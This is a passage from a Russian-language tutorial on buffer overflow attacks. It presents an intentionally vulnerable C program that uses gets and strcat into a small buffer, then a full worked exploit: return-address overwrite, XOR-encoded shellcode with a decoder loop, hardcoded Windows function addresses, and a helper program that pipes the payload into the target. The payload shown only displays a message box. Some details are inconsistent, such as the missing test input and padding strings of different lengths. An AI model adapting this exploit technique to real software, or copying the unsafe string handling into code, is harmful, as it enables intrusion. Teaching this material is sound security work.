Переполнение буфера - Пример "поближе к жизни"
ОГЛАВЛЕНИЕ
И ещё...
Напоследок рассмотрим пример "поближе к жизни". Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера:
#include <stdio.h>
#include <string.h>
#include <windows.h>
void show_message(char* msg)
{
char buffer[64];
strcpy(buffer, "Message: ");
strcat(buffer, msg);
MessageBox(0, buffer, "Message", MB_ICONINFORMATION);
}
int main()
{
char text[1024];
printf("Please, enter text: \n");
gets(text);
show_message(text);
return 0;
}
По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует "реальной жизни".
Итак, попробуем устроить "атаку на переполнение буфера" в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее:
В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0x63626136, следовательно адрес возврата должен находиться на месте символов "6abc". Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой:
MOV EAX, (конечный адрес закодированного фрагмента + 1)
MOV ECX, (количество байт во фрагменте)
decode:
DEC EAX
XOR BYTE PTR [EAX], 80h
LOOP decode
Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA - в 0x40f1a0. В итоге получаем следующую строку:
"1111111111222222233333334444445555555566666"
"\xb3\x94\xf7\xbf" // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL)
// ----------- код ----------- --- адрес инструкции ---
"\x8b\xec" // MOV EBP, ESP // EBP+4
// --- раскодируем часть программы ---
"\x8b\xc5" // MOV EAX, EBP // EBP+6
"\x83\xc0\x35" // ADD EAX, 35h ; EAX = конечный адрес // EBP+8
"\x33\xc9" // XOR ECX, ECX ; ECX = 0 // EBP+b
"\xb1\x10" // MOV CL, 10h ; ECX = 10h // EBP+d
"\x48" // decode: DEC EAX // EBP+f
"\x80\x30\x80" // XOR BYTE PTR [EAX], 80h // EBP+10
"\xe2\xfa" // LOOP decode // EBP+13
// --- Вызываем MessageBoxA ---
"\x6a\x30" // PUSH 30h // EBP+15
"\x8d\x45\x2c" // LEA EAX, [EBP+2сh] // EBP+17
"\x50" // PUSH EAX // EBP+1a
"\x8d\x45\x35" // LEA EAX, [EBP+35h] // EBP+1b
"\x50" // PUSH EAX // EBP+1e
"\x51" // PUSH ECX ; push 0 // EBP+1f
// -- начиная с EBP+25
// идёт закодированный фрагмент --
"\xff\x15\xa0\xf1\x40\x80" // CALL [USER32.MessageBoxA] // EBP+20
"\x7f\x95\x6c\x70\xc0\x80" // CALL [KERNEL32.ExitProcess] // EBP+26
"\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80"
// Cтрокa "Question\0" (закодирована)// EBP+2c
// -- конец закодированного фрагмента
// (EBP+34) --
"To be, or not to be...\0"; // EBP+35
Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль:
#include <stdio.h>
int main()
{
printf("11111111112222222222333333333344444444445555555555666666666"
"\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48"
"\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51"
"\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80"
"\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0");
return 0;
}
Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE:
> T.EXE | TEST.EXE
Работает!